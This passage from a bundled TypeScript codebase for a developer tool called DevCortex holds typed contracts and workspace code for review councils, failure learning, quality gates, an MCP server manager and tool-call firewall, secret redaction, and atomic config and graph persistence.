RiskLevel;\n title: string;\n detail: string;\n /** repo-relative path the finding concerns, when file-scoped */\n file?: string;\n}\n\n/** The consolidated output of a council review for one task. */\nexport interface CouncilReport {\n task: string;\n /** which lenses were convened (risk-scaled subset of REVIEWER_LENSES) */\n lenses: ReviewerLens[];\n findings: CouncilFinding[];\n generatedAt: string;\n}\n","// ============================================================================\n// Sub-project #2 domain contract — Self Meta-Cognitive Learning Engine (§7.17).\n//\n// The learning engine observes repeated failures, diagnoses their root cause,\n// and emits a remedy (a rule, skill, known-failure, regression-check, workflow,\n// or stack-pack update). A `LearnedFailure` is the PERSISTED record of one such\n// recurring pattern, stored at `.cortex/known-failures/<id>.json`, so it carries\n// a zod validator + drift guard. All learning must be transparent, editable,\n// and evidence-based.\n//\n// Additive to the frozen contract in ./types + ./schemas.\n// ============================================================================\n\nimport { z } from 'zod';\n\n// --- enums ------------------------------------------------------------------\n\n/** Kinds of remedy the learning engine can create or update in response to a failure (§7.17). */\nexport const LEARNING_REMEDIES = [\n 'rule',\n 'skill',\n 'known-failure',\n 'regression-check',\n 'workflow',\n 'stack-pack',\n] as const;\nexport type LearningRemedy = (typeof LEARNING_REMEDIES)[number];\n\n/** Diagnosed root-cause category for a recurring failure (§7.17 \"Then it should diagnose\"). */\nexport const FAILURE_CATEGORIES = [\n 'missing-context',\n 'missing-skill',\n 'outdated-docs',\n 'wrong-package',\n 'bad-rule',\n 'missing-test',\n 'weak-agent',\n 'missing-mcp',\n] as const;\nexport type FailureCategory = (typeof FAILURE_CATEGORIES)[number];\n\n// --- interfaces -------------------------------------------------------------\n\n/** Root-cause diagnosis for an observed failure signature. */\nexport interface FailureDiagnosis {\n cause: string;\n category: FailureCategory;\n}\n\n/** Persisted recurring-failure record — `.cortex/known-failures/<id>.json`. */\nexport interface LearnedFailure {\n id: string;\n /** stable, matchable signature of the failure (e.g. normalized error text) */\n signature: string;\n /** how many times this pattern has been observed */\n occurrences: number;\n diagnosis: FailureDiagnosis;\n remedyKind: LearningRemedy;\n /** id/path of the concrete remedy artifact the engine created or updated */\n remedyRef?: string;\n createdAt: string;\n updatedAt: string;\n}\n\n// --- schemas (disk boundary) ------------------------------------------------\n\nexport const LearningRemedySchema = z.enum(LEARNING_REMEDIES);\nexport const FailureCategorySchema = z.enum(FAILURE_CATEGORIES);\n\nexport const FailureDiagnosisSchema = z.object({\n cause: z.string(),\n category: FailureCategorySchema,\n});\n\nexport const LearnedFailureSchema = z.object({\n id: z.string(),\n signature: z.string(),\n occurrences: z.number().int().nonnegative(),\n diagnosis: FailureDiagnosisSchema,\n remedyKind: LearningRemedySchema,\n remedyRef: z.string().optional(),\n createdAt: z.string(),\n updatedAt: z.string(),\n});\n\n// --- compile-time drift guard -----------------------------------------------\n\ntype MutuallyAssignable<A, B> = A extends B ? (B extends A ? true : false) : false;\n\nfunction assertMatch<_T extends true>(): void {\n /* compile-time only */\n}\n\nassertMatch<MutuallyAssignable<z.infer<typeof FailureDiagnosisSchema>, FailureDiagnosis>>();\nassertMatch<MutuallyAssignable<z.infer<typeof LearnedFailureSchema>, LearnedFailure>>();\n","// ============================================================================\n// Sub-project #4 domain contract — Deep quality gates (§7.12-7.13 + §7.21).\n//\n// Extends the frozen gate contract in ./types (GateResult / CheckResult /\n// EvidenceItem) with an additive gate-FAMILY taxonomy and the UI-quality score\n// produced by the deep, tokenless UI gate. Like RiskClassification / BlastRadius\n// in ./types and CouncilReport in ./council, `UiQualityScore` is a COMPUTED\n// artifact — the engine derives it on demand from the ProjectGraph and real file\n// reads and never persists it — so it is types-only with no zod validator.\n//\n// Additive to the frozen contract in ./types + ./schemas; those files are\n// untouched.\n// ============================================================================\n\n// --- gate families ----------------------------------------------------------\n\n/**\n * The families a deep quality gate can belong to. `code` is the existing\n * general-purpose gate (typecheck/lint/build/test + route/env checks); the\n * remainder are the deep, domain-specific gates added by sub-project #4.\n * `premium-ui` is the highest-bar visual gate (§7.13) layered above `ui`.\n */\nexport const GATE_FAMILIES = ['code', 'ui', 'security', 'devops', 'product', 'premium-ui'] as const;\nexport type GateFamily = (typeof GATE_FAMILIES)[number];\n\n// --- UI quality score (computed artifact, §7.13) ----------------------------\n\n/**\n * The scored output of the deep UI / premium-UI gate. Every dimension is a\n * heuristic score in the inclusive range 0-100 (higher is better), derived\n * deterministically from the graph + real file reads with no LLM. `overall` is\n * the aggregate the gate ranks against its threshold; `topFixes` are the\n * highest-leverage, human-readable improvements ordered most-impactful-first.\n */\nexport interface UiQualityScore {\n /** clarity of layout order, heading levels, and focal emphasis (0-100) */\n visualHierarchy: number;\n /** presence and correctness of responsive/mobile handling (0-100) */\n mobileResponsiveness: number;\n /** consistency of spacing/rhythm tokens across the surface (0-100) */\n spacingConsistency: number;\n /** semantic markup, labels, contrast, and a11y affordances (0-100) */\n accessibility: number;\n /** polish signals that separate premium from generic UI (0-100) */\n premiumFeel: number;\n /** aggregate score the gate compares against its threshold (0-100) */\n overall: number;\n /** highest-leverage fixes, ordered most-impactful-first */\n topFixes: string[];\n}\n","// ============================================================================\n// Sub-project #5 domain contract — Safe MCP Manager (§7.19).\n//\n// Describes an MCP server DevCortex can recommend, install, scope, and audit.\n// Every field maps to a disclosure the Safe MCP Manager must surface before an\n// agent is allowed to connect a tool: where the server comes from, how much it\n// is trusted, which permissions/tools it exposes, whether any tool is\n// destructive, what secrets it needs, and whether it runs sandboxed.\n//\n// An `McpServerSpec` is a PERSISTED artifact — one JSON document per server at\n// `.cortex/mcp/<id>.json` (see workspacePaths().mcpDir) — so this file owns both\n// the canonical interface and its runtime zod validator, wired together by the\n// compile-time drift guard at the bottom (mirrors ./schemas and ./skills).\n//\n// Additive to the frozen contract in ./types + ./schemas; those files are\n// untouched. Convention: relative imports omit extensions; unions are declared\n// as `as const` string tuples; interfaces own object shapes.\n// ============================================================================\n\nimport { z } from 'zod';\n\n// --- enums ------------------------------------------------------------------\n\n/**\n * How much a source is trusted, driving the Safe MCP Manager's default posture.\n * - `trusted` — first-party / vetted publisher; may default to writeable tools.\n * - `community` — popular but unvetted; requires approval for write/destructive.\n * - `unknown` — unrecognised source; read-only by default, sandbox strongly\n * recommended, and every write requires explicit approval.\n */\nexport const MCP_TRUST = ['trusted', 'community', 'unknown'] as const;\nexport type McpTrust = (typeof MCP_TRUST)[number];\n\n/** Whether a single MCP tool reads state or mutates it. */\nexport const MCP_ACCESS = ['read', 'write'] as const;\nexport type McpAccess = (typeof MCP_ACCESS)[number];\n\n// --- interfaces -------------------------------------------------------------\n\n/**\n * One tool an MCP server exposes. `destructive` is tracked independently of\n * `access` because not every write is destructive (e.g. `github.comment` is a\n * non-destructive write) and the firewall scores the two signals separately.\n */\nexport interface McpCapability {\n name: string;\n access: McpAccess;\n /** true when invoking the tool can irreversibly delete/overwrite/deploy */\n destructive: boolean;\n}\n\n/**\n * Persisted description of an MCP server under management. Mirrors the §7.19\n * disclosure checklist (source, trust, permissions, tools, secrets, sandbox)\n * plus the install/rollback affordances the manager needs.\n */\nexport interface McpServerSpec {\n /** stable slug used as the on-disk filename `<id>.json` and policy key prefix */\n id: string;\n name: string;\n /** provenance: registry ref, git URL, npm package, or `local` */\n source: string;\n trust: McpTrust;\n /** coarse permission scopes the server requests, e.g. `github.read` */\n permissions: string[];\n tools: McpCapability[];\n /** env var names the server needs; never their values */\n secretsRequired: string[];\n /** true when the server is launched inside a sandbox/boundary */\n sandbox: boolean;\n /** command that installs/launches the server, when applicable */\n installCommand?: string;\n /** human-readable audit note: rollback command, audit-log path, caveats */\n note: string;\n}\n\n// --- schemas (disk boundary) ------------------------------------------------\n\nexport const McpTrustSchema = z.enum(MCP_TRUST);\nexport const McpAccessSchema = z.enum(MCP_ACCESS);\n\nexport const McpCapabilitySchema = z.object({\n name: z.string(),\n access: McpAccessSchema,\n destructive: z.boolean(),\n});\n\nexport const McpServerSpecSchema = z.object({\n id: z.string(),\n name: z.string(),\n source: z.string(),\n trust: McpTrustSchema,\n permissions: z.array(z.string()),\n tools: z.array(McpCapabilitySchema),\n secretsRequired: z.array(z.string()),\n sandbox: z.boolean(),\n installCommand: z.string().optional(),\n note: z.string(),\n});\n\n// --- compile-time drift guard -----------------------------------------------\n// Mutual assignability, not strict identity, so zod's optional representation\n// does not produce pedantic false positives (mirrors ./schemas + ./skills).\n\ntype MutuallyAssignable<A, B> = A extends B ? (B extends A ? true : false) : false;\n\nfunction assertMatch<_T extends true>(): void {\n /* compile-time only */\n}\n\nassertMatch<MutuallyAssignable<z.infer<typeof McpCapabilitySchema>, McpCapability>>();\nassertMatch<MutuallyAssignable<z.infer<typeof McpServerSpecSchema>, McpServerSpec>>();\n","// ============================================================================\n// Sub-project #5 domain contract — MCP Security Firewall (§7.20).\n//\n// The firewall is the allow/deny/approval decision layer that sits between an\n// agent and its MCP tools. Its configuration — an `McpPolicy` — is a PERSISTED\n// artifact at `.cortex/policies/mcp-firewall.json` (see workspacePaths()\n// .mcpFirewallPolicy), so this file owns both the canonical interface and its\n// runtime zod validator, wired by the compile-time drift guard at the bottom.\n//\n// The per-call verdict — `ToolCallEval` — is a COMPUTED artifact: the firewall\n// derives it on demand from the policy + the tool call and never persists it,\n// so — like RiskClassification / BlastRadius in ./types and CouncilReport in\n// ./council — it is types-only with no zod validator.\n//\n// Additive to the frozen contract in ./types + ./schemas; those files are\n// untouched. Convention: relative imports omit extensions; unions are declared\n// as `as const` string tuples; interfaces own object shapes.\n// ============================================================================\n\nimport { z } from 'zod';\n\n// --- enums ------------------------------------------------------------------\n\n/**\n * The three verdicts the firewall can return for a tool call.\n * - `allow` — the call proceeds.\n * - `deny` — the call is blocked outright.\n * - `require-approval` — the call is paused pending explicit human approval.\n */\nexport const FIREWALL_DECISIONS = ['allow', 'deny', 'require-approval'] as const;\nexport type FirewallDecision = (typeof FIREWALL_DECISIONS)[number];\n\n// --- interfaces -------------------------------------------------------------\n\n/**\n * Persisted firewall configuration. `allow` / `requireApproval` / `deny` hold\n * tool identifiers or scope patterns (e.g. `github.read`, `database.write`);\n * `budgets` caps how many times a given tool/scope may run per session;\n * `dryRun` short-circuits every allowed call into a no-op for safe rehearsal.\n */\nexport interface McpPolicy {\n /** scopes/tools permitted without prompting */\n allow: string[];\n /** scopes/tools that pause for explicit human approval before running */\n requireApproval: string[];\n /** scopes/tools blocked outright */\n deny: string[];\n /** per-tool/scope invocation caps (identifier -> max calls) */\n budgets: Record<string, number>;\n /** when true, allowed calls are rehearsed without side effects */\n dryRun: boolean;\n}\n\n/**\n * Computed per-call verdict. `reasons` explains the decision (matched rule,\n * exceeded budget, destructive-tool escalation, etc.); `riskScore` is a\n * deterministic 0-100 heuristic; `redactedArgs` is the tool arguments after the\n * redaction engine has masked secrets, present only when arguments were given.\n */\nexport interface ToolCallEval {\n decision: FirewallDecision;\n reasons: string[];\n /** deterministic command-risk score, 0 (safe) .. 100 (dangerous) */\n riskScore: number;\n /** tool arguments with secrets masked; omitted when there were no arguments */\n redactedArgs?: string;\n}\n\n// --- schemas (disk boundary) ------------------------------------------------\n\nexport const FirewallDecisionSchema = z.enum(FIREWALL_DECISIONS);\n\nexport const McpPolicySchema = z.object({\n allow: z.array(z.string()),\n requireApproval: z.array(z.string()),\n deny: z.array(z.string()),\n budgets: z.record(z.string(), z.number()),\n dryRun: z.boolean(),\n});\n\n// --- compile-time drift guard -----------------------------------------------\n// Mutual assignability, not strict identity, so zod's optional representation\n// does not produce pedantic false positives (mirrors ./schemas + ./skills).\n// Only McpPolicy is persisted; ToolCallEval is computed and intentionally has\n// no schema.\n\ntype MutuallyAssignable<A, B> = A extends B ? (B extends A ? true : false) : false;\n\nfunction assertMatch<_T extends true>(): void {\n /* compile-time only */\n}\n\nassertMatch<MutuallyAssignable<z.infer<typeof McpPolicySchema>, McpPolicy>>();\n","// ============================================================================\n// Sub-project #5 domain contract — Privacy & Redaction Engine (§7.22).\n//\n// Defines what the redaction engine detects and the shape of an outbound\n// disclosure the privacy layer must show before anything leaves the machine.\n//\n// Both `RedactionResult` and `OutboundManifest` are COMPUTED artifacts — the\n// engine derives them on demand (from a text buffer, and from the candidate\n// file set + active privacy mode respectively) and never persists them — so,\n// like RiskClassification / BlastRadius in ./types and CouncilReport in\n// ./council, this file is types-only with no zod validator.\n//\n// Additive to the frozen contract in ./types + ./schemas; those files are\n// untouched. Convention: relative imports omit extensions; unions are declared\n// as `as const` string tuples; interfaces own object shapes.\n// ============================================================================\n\nimport type { PrivacyMode } from './types';\n\n// --- enums ------------------------------------------------------------------\n\n/**\n * The classes of sensitive material the redaction engine detects and masks\n * before any outbound transmission (mirrors the §7.22 automatic-redaction list:\n * API keys, secrets, tokens, private keys, env files, passwords, PII,\n * credentials, database URLs).\n */\nexport const REDACTION_KINDS = [\n 'api-key',\n 'secret',\n 'token',\n 'private-key',\n 'password',\n 'env',\n 'db-url',\n 'pii-email',\n 'pii-phone',\n] as const;\nexport type RedactionKind = (typeof REDACTION_KINDS)[number];\n\n// --- interfaces -------------------------------------------------------------\n\n/** How many matches of one redaction kind were found and masked in a buffer. */\nexport interface RedactionFinding {\n kind: RedactionKind;\n /** number of masked occurrences of this kind (>= 1 when reported) */\n count: number;\n}\n\n/** The result of running the redaction engine over a text buffer. */\nexport interface RedactionResult {\n /** the input with every detected secret/PII occurrence masked */\n redacted: string;\n /** per-kind tally of what was masked; empty when nothing matched */\n findings: RedactionFinding[];\n}\n\n/** One file proposed for outbound transmission, with its justification. */\nexport interface OutboundFile {\n /** repo-relative POSIX path */\n path: string;\n /** why this file is needed for the requested cloud operation */\n reason: string;\n sizeBytes: number;\n /** true when the file's contents were run through the redaction engine */\n redacted: boolean;\n}\n\n/**\n * The disclosure shown before anything is sent to the cloud brain (§7.22):\n * which files, why, how large, the retention policy, and the opt-out flag —\n * scoped to the active privacy mode. In `local-only` mode this manifest must\n * be empty; `deep-cloud` is the only mode permitting file contents outbound.\n */\nexport interface OutboundManifest {\n mode: PrivacyMode;\n files: OutboundFile[];\n /** sum of `files[].sizeBytes`; the token/size estimate surfaced to the user */\n totalBytes: number;\n /** human-readable retention setting, e.g. `ephemeral`, `30d`, `none` */\n retention: string;\n /** true when the user has opted out of cloud transmission entirely */\n optOut: boolean;\n}\n","/**\n * Path resolution for the `.cortex/` workspace.\n *\n * Every other workspace operation is expressed in terms of the absolute paths\n * computed here, so there is exactly one place that knows the on-disk layout\n * (mirrors §5 of the design spec).\n */\nimport path from 'node:path';\n\nimport type { DetectedStack, OperatingMode, ProjectGraph } from '../domain/index';\n\n/** Absolute, resolved locations of every artifact DevCortex owns under a repo. */\nexport interface WorkspacePaths {\n /** absolute repo root */\n root: string;\n /** `<root>/.cortex` */\n cortexDir: string;\n /** `<cortexDir>/config.yaml` */\n config: string;\n /** `<cortexDir>/project.md` */\n projectMd: string;\n /** `<cortexDir>/architecture.md` */\n architectureMd: string;\n /** `<cortexDir>/quality-constitution.md` */\n qualityConstitution: string;\n /** `<cortexDir>/graph.json` */\n graph: string;\n /** `<cortexDir>/memory` */\n memoryDir: string;\n /** `<cortexDir>/features` */\n featuresDir: string;\n /** `<cortexDir>/decisions` */\n decisionsDir: string;\n /** `<cortexDir>/evidence` */\n evidenceDir: string;\n /** `<cortexDir>/ship-reports` */\n shipReportsDir: string;\n /** `<cortexDir>/runs` (reserved — flight recorder) */\n runsDir: string;\n /** `<cortexDir>/mcp` — one `<id>.json` McpServerSpec per managed server */\n mcpDir: string;\n /** `<cortexDir>/policies` — governance policies (MCP firewall, etc.) */\n policiesDir: string;\n /** `<policiesDir>/mcp-firewall.json` — the persisted McpPolicy */\n mcpFirewallPolicy: string;\n /** `<cortexDir>/cache` (gitignored) */\n cacheDir: string;\n}\n\n/** Options accepted by {@link initWorkspace}. */\nexport interface InitOptions {\n /** initial operating mode written to config */\n mode: OperatingMode;\n /** detected stack used to seed the generated docs + config */\n stack: DetectedStack;\n /** overwrite an already-initialized workspace instead of throwing */\n force?: boolean;\n /**\n * Pre-scanned project graph to cache at `graph.json` and seed the generated\n * docs. When omitted, {@link initWorkspace} scans `root` itself.\n */\n graph?: ProjectGraph;\n}\n\n/**\n * Resolve every `.cortex/` path for a given repo root. Pure — performs no I/O,\n * so it is safe to call before the workspace exists.\n */\nexport function workspacePaths(root: string): WorkspacePaths {\n const resolvedRoot = path.resolve(root);\n const cortexDir = path.join(resolvedRoot, '.cortex');\n return {\n root: resolvedRoot,\n cortexDir,\n config: path.join(cortexDir, 'config.yaml'),\n projectMd: path.join(cortexDir, 'project.md'),\n architectureMd: path.join(cortexDir, 'architecture.md'),\n qualityConstitution: path.join(cortexDir, 'quality-constitution.md'),\n graph: path.join(cortexDir, 'graph.json'),\n memoryDir: path.join(cortexDir, 'memory'),\n featuresDir: path.join(cortexDir, 'features'),\n decisionsDir: path.join(cortexDir, 'decisions'),\n evidenceDir: path.join(cortexDir, 'evidence'),\n shipReportsDir: path.join(cortexDir, 'ship-reports'),\n runsDir: path.join(cortexDir, 'runs'),\n mcpDir: path.join(cortexDir, 'mcp'),\n policiesDir: path.join(cortexDir, 'policies'),\n mcpFirewallPolicy: path.join(cortexDir, 'policies', 'mcp-firewall.json'),\n cacheDir: path.join(cortexDir, 'cache'),\n };\n}\n","/**\n * Typed, schema-validated read/write of `.cortex/config.yaml` plus the canonical\n * default configuration produced at `init` time.\n */\nimport { randomUUID } from 'node:crypto';\nimport { mkdir, readFile, rename, rm, writeFile } from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { parse as parseYaml, stringify as stringifyYaml } from 'yaml';\n\nimport type { CortexConfig, DetectedStack } from '../domain/index';\nimport { ConfigError, CortexConfigSchema, DevCortexError } from '../domain/index';\n\nimport { workspacePaths } from './paths';\n\n/** Schema version written into freshly generated configs. */\nexport const CONFIG_SCHEMA_VERSION = 1;\n\n/**\n * Glob patterns (picomatch syntax) whose edits are treated as high/critical\n * risk by default: auth, billing, middleware, migrations, env files and\n * secrets. Repo-relative POSIX paths are matched against these.\n */\nconst DEFAULT_PROTECTED_PATHS: readonly string[] = [\n '**/middleware.{ts,tsx,js,jsx,mjs,cjs}',\n '**/middleware/**',\n '**/auth/**',\n '**/*auth*.{ts,tsx,js,jsx}',\n '**/billing/**',\n '**/*billing*.{ts,tsx,js,jsx}',\n '**/migrations/**',\n '**/migrate/**',\n '**/*.migration.{ts,js,sql}',\n '**/.env',\n '**/.env.*',\n '**/secrets/**',\n '**/*secret*',\n] as const;\n\n/**\n * Build the canonical default {@link CortexConfig}.\n *\n * Defaults are intentionally conservative: passive mode (never blocks), local\n * privacy (no network), every gate on (including `blockUnprovenDone`), and risk\n * floors that force the security-sensitive task types to at least `high`.\n *\n * `commands` is left empty here: a {@link DetectedStack} carries no scripts, so\n * concrete gate commands are resolved later from the cached project graph /\n * stack-pack defaults. An empty record is valid against `CortexCommandsSchema`.\n *\n * The `_stack` parameter is part of the public contract (callers pass the\n * detected stack) but does not alter the safe, conservative defaults today; it\n * is reserved so stack-aware seeding can be layered in without a signature\n * change. The security-sensitive floors and protected paths are deliberately\n * framework-agnostic.\n */\nexport function defaultConfig(_stack?: DetectedStack): CortexConfig {\n return {\n schemaVersion: CONFIG_SCHEMA_VERSION,\n mode: 'passive',\n privacy: 'local-only',\n risk: {\n protectedPaths: [...DEFAULT_PROTECTED_PATHS],\n floors: {\n auth: 'high',\n billing: 'high',\n database: 'high',\n security: 'high',\n devops: 'high',\n },\n },\n gates: {\n typecheck: true,\n lint: true,\n build: true,\n test: true,\n blockUnprovenDone: true,\n },\n stackPacks: [],\n commands: {},\n };\n}\n\n/**\n * Read and validate `.cortex/config.yaml`.\n *\n * @throws DevCortexError `CONFIG_NOT_FOUND` when the file is absent.\n * @throws ConfigError `CONFIG_INVALID` when the YAML is unparseable or fails\n * `CortexConfigSchema`.\n */\nexport async function loadConfig(root: string): Promise<CortexConfig> {\n const paths = workspacePaths(root);\n\n let raw: string;\n try {\n raw = await readFile(paths.config, 'utf8');\n } catch (err) {\n if (isErrnoException(err) && err.code === 'ENOENT') {\n throw new DevCortexError(\n 'CONFIG_NOT_FOUND',\n `No DevCortex config found at ${paths.config}. Run \\`devcortex init\\` first.`,\n { cause: err },\n );\n }\n throw new ConfigError(`Unable to read config at ${paths.config}.`, { cause: err });\n }\n\n let parsed: unknown;\n try {\n parsed = parseYaml(raw);\n } catch (err) {\n throw new ConfigError(`Config at ${paths.config} is not valid YAML.`, { cause: err });\n }\n\n const result = CortexConfigSchema.safeParse(parsed);\n if (!result.success) {\n throw new ConfigError(`Config at ${paths.config} failed validation.`, {\n details: result.error.issues,\n cause: result.error,\n });\n }\n\n return result.data;\n}\n\n/**\n * Validate and atomically persist `config` to `.cortex/config.yaml` as YAML.\n *\n * Two-stage durability: the config is validated against `CortexConfigSchema`\n * before any I/O, so a malformed in-memory object can never reach disk; then the\n * bytes are written to a uniquely-named temp file in the same directory and\n * `rename`d over the target. Because `rename` is atomic within a filesystem, a\n * concurrent reader (or a crash mid-write) always observes either the previous\n * complete config or the new complete config — never a half-written file. The\n * temp file is removed on failure so no `.tmp` debris is left behind.\n *\n * @throws ConfigError `CONFIG_INVALID` when `config` fails `CortexConfigSchema`\n * or the file cannot be written.\n */\nexport async function saveConfig(root: string, config: CortexConfig): Promise<void> {\n const paths = workspacePaths(root);\n\n const result = CortexConfigSchema.safeParse(config);\n if (!result.success) {\n throw new ConfigError('Refusing to write an invalid config.', {\n details: result.error.issues,\n cause: result.error,\n });\n }\n\n const yaml = stringifyYaml(result.data, { indent: 2 });\n const banner =\n '# DevCortex workspace config — see .cortex/quality-constitution.md\\n' +\n '# Managed file: edits are honored, but keep it valid against CortexConfigSchema.\\n';\n\n // Temp file lives in the SAME directory as the target so the rename stays on\n // one filesystem (cross-device renames are not atomic and fail with EXDEV).\n const tmpPath = `${paths.config}.${randomUUID()}.tmp`;\n\n try {\n await mkdir(path.dirname(paths.config), { recursive: true });\n await writeFile(tmpPath, banner + yaml, 'utf8');\n await rename(tmpPath, paths.config);\n } catch (err) {\n await rm(tmpPath, { force: true }).catch(() => undefined);\n throw new ConfigError(`Unable to write config to ${paths.config}.`, { cause: err });\n }\n}\n\n/** Narrow an unknown thrown value to a Node `errno` exception. */\nfunction isErrnoException(err: unknown): err is NodeJS.ErrnoException {\n return err instanceof Error && typeof (err as NodeJS.ErrnoException).code === 'string';\n}\n","/**\n * Typed, schema-validated read/write of the cached project graph at\n * `.cortex/graph.json`. The graph is produced by the `graph/` module and cached\n * here; this layer only persists and validates it.\n */\nimport { mkdir, readFile, writeFile } from 'node:fs/promises';\nimport path from 'node:path';\n\nimport type { ProjectGraph } from '../domain/index';\nimport { ProjectGraphSchema, SchemaValidationError } from '../domain/index';\n\nimport { workspacePaths } from './paths';\n\n/**\n * Load the cached {@link ProjectGraph}.\n *\n * @returns the validated graph, or `null` when no cache exists yet (the normal\n * state immediately after `init`, before the first scan).\n * @throws SchemaValidationError `SCHEMA_VALIDATION` when the cache exists but is\n * not valid JSON or fails `ProjectGraphSchema`.\n */\nexport async function loadGraph(root: string): Promise<ProjectGraph | null> {\n const paths = workspacePaths(root);\n\n let raw: string;\n try {\n raw = await readFile(paths.graph, 'utf8');\n } catch (err) {\n if (isErrnoException(err) && err.code === 'ENOENT') {\n return null;\n }\n throw new SchemaValidationError(`Unable to read project graph at ${paths.graph}.`, {\n cause: err,\n });\n }\n\n let parsed: unknown;\n try {\n parsed = JSON.parse(raw);\n } catch (err) {\n throw new SchemaValidationError(`Project graph at ${paths.graph} is not valid JSON.`, {\n cause: err,\n });\n }\n\n const result = ProjectGraphSchema.safeParse(parsed);\n if (!result.success) {\n throw new SchemaValidationError(`Project graph at ${paths.graph} failed validation.`, {\n details: result.error.issues,\n cause: result.error,\n });\n }\n\n return result.data;\n}\n\n/**\n * Validate and persist `graph` to `.cortex/graph.json` as pretty-printed JSON.\n * Validation happens before writing so a malformed graph never reaches disk.\n *\n * @throws SchemaValidationError `SCHEMA_VALIDATION` when `graph` fails\n * `ProjectGraphSchema` or the file cannot be written.\n */\nexport async function saveGraph(root: string, graph: ProjectGraph): Promise<void> {\n const paths = workspacePaths(root);\n\n const result = ProjectGraphSchema.safeParse(graph);\n if (!result.success) {\n throw new SchemaValidationError('Refusing to write an invalid project graph.', {\n details: result.error.issues,\n cause: result.error,\n });\n }\n\n try {\n await mkdir(path.dirname(paths.graph), { recursive: true });\n await writeFile(paths.graph, `${JSON.stringify(result.data, null, 2)}\\n`, 'utf8');\n } catch (err) {\n throw new SchemaValidationError(`Unable to write project graph to ${paths.graph}.`, {\n cause: err,\n });\n }\n}\n\n/** Narrow an unknown thrown value to a Node `errno` exception. */\nfunction isErrnoException(err: unknown): err is NodeJS.ErrnoException {\n return err instanceof Error && typeof (err as NodeJS.ErrnoException).code === 'string';\n}\n","/**\n * Workspace initialization — materialize the full `.cortex/` tree for a repo and\n * report whether one already exists.\n *\n * `initWorkspace` writes `config.yaml` (from `defaultConfig(stack)` with the\n * requested mode), `graph.json` (from a supplied or freshly scanned graph), the\n * three generated markdown docs, and the empty ledger directories. `isInitialized`\n * is the shared predicate the init guard and surfaces use.\n */\nimport { mkdir, stat, writeFile } from 'node:fs/promises';\n\nimport type { CortexConfig, ProjectGraph } from '../domain/index';\nimport { DevCortexError, WorkspaceError } from '../domain/index';\nimport { scanProject } from '../graph/index';\n\nimport { defaultConfig, saveConfig } from './config';\nimport { renderArchitectureMap, renderProjectBrief, renderQualityConstitution } from './docs';\nimport { saveGraph } from './graph-store';\nimport type { InitOptions } from './paths';\nimport { workspacePaths } from './paths';\n\n/**\n * Report whether a DevCortex workspace exists at `root` — i.e. whether the\n * `.cortex/` directory is present. Pure read: never creates anything.\n *\n * @throws DevCortexError `INTERNAL` when the `.cortex` path cannot be inspected\n * for a reason other than absence (e.g. a permission error).\n */\nexport async function isInitialized(root: string): Promise<boolean> {\n const { cortexDir } = workspacePaths(root);\n try {\n const stats = await stat(cortexDir);\n return stats.isDirectory();\n } catch (err) {\n if (isErrnoException(err) && (err.code === 'ENOENT' || err.code === 'ENOTDIR')) {\n return false;\n }\n throw new DevCortexError('INTERNAL', `Unable to determine workspace state at ${cortexDir}.`, {\n cause: err,\n });\n }\n}\n\n/**\n * Create the full `.cortex/` workspace tree at `root`:\n *\n * - `config.yaml` — `defaultConfig(opts.stack)` with `mode` overridden to\n * `opts.mode`, written atomically and schema-validated.\n * - `graph.json` — `opts.graph` when supplied, otherwise a fresh `scanProject`.\n * - `project.md` / `architecture.md` / `quality-constitution.md` — real docs\n * derived from the stack + graph + config (read back by the MCP `get_*` tools).\n * - empty `memory/` `features/` `decisions/` `evidence/` `ship-reports/` `runs/`\n * `cache/` directories.\n *\n * @returns the absolute paths of every directory and file created (or rewritten\n * under `force`).\n * @throws WorkspaceError `WORKSPACE_EXISTS` when `.cortex/` already exists and\n * `opts.force` is not set.\n * @throws DevCortexError when a directory or generated doc cannot be written;\n * `ConfigError` / `SchemaValidationError` / `ScanError` propagate from the\n * config, graph and scan steps respectively.\n */\nexport async function initWorkspace(\n root: string,\n opts: InitOptions,\n): Promise<{ created: string[] }> {\n const paths = workspacePaths(root);\n\n if (opts.force !== true && (await isInitialized(root))) {\n throw new WorkspaceError(\n 'WORKSPACE_EXISTS',\n `A DevCortex workspace already exists at ${paths.cortexDir}. Re-run with \\`force\\` to overwrite it.`,\n );\n }\n\n const config: CortexConfig = { ...defaultConfig(opts.stack), mode: opts.mode };\n const graph: ProjectGraph = opts.graph ?? (await scanProject(paths.root));\n\n // Directory tree first, so every subsequent write lands in an existing dir.\n // mkdir(recursive) is idempotent, which is what makes force-overwrite safe.\n const dirs = [\n paths.cortexDir,\n paths.memoryDir,\n paths.featuresDir,\n paths.decisionsDir,\n paths.evidenceDir,\n paths.shipReportsDir,\n paths.runsDir,\n paths.cacheDir,\n ];\n for (const dir of dirs) {\n try {\n await mkdir(dir, { recursive: true });\n } catch (err) {\n throw new DevCortexError('INTERNAL', `Unable to create workspace directory ${dir}.`, {\n cause: err,\n });\n }\n }\n\n // config.yaml + graph.json go through the validated (and, for config, atomic)\n // writers so a malformed payload can never reach disk.\n await saveConfig(root, config);\n await saveGraph(root, graph);\n\n // Generated, human-readable docs the MCP get_* tools surface verbatim.\n await writeDoc(paths.projectMd, renderProjectBrief(graph, config));\n await writeDoc(paths.architectureMd, renderArchitectureMap(graph));\n await writeDoc(paths.qualityConstitution, renderQualityConstitution(config, graph.stack));\n\n return {\n created: [\n ...dirs,\n paths.config,\n paths.graph,\n paths.projectMd,\n paths.architectureMd,\n paths.qualityConstitution,\n ],\n };\n}\n\n/**\n * Write a generated doc into the already-created `.cortex/` directory, surfacing\n * any I/O failure as a DevCortexError. (The docs are regenerated wholesale on\n * every `scan`/`init`, so a partial overwrite is never load-bearing — unlike\n * `config.yaml`, which uses an atomic temp-and-rename write.)\n */\nasync function writeDoc(filePath: string, contents: string): Promise<void> {\n try {\n await writeFile(filePath, contents, 'utf8');\n } catch (err) {\n throw new DevCortexError('INTERNAL', `Unable to write workspace doc ${filePath}.`, {\n cause: err,\n });\n }\n}\n\nfunction isErrnoException(err: unknown): err is NodeJS.ErrnoException {\n return err instanceof Error && typeof (err as NodeJS.ErrnoException).code === 'string';\n}\n","/**\n * `scanProject` — walk a repository into a `ProjectGraph`: detect the stack,\n * classify every file, build a bidirectional import graph, detect routes, env\n * vars (and whether each is documented in `.env.example`), risky files, and\n * summary stats.\n *\n * Failure model: invalid root or an unexpected internal error throws\n * `ScanError`. Per-file read or parse failures degrade gracefully (the file is\n * still recorded, tagged `scan:unreadable`) so one bad file never aborts the\n * whole scan — DevCortex is fail-safe by design.\n */\n\nimport fg from 'fast-glob';\nimport { init } from 'es-module-lexer';\nimport { readFile, stat } from 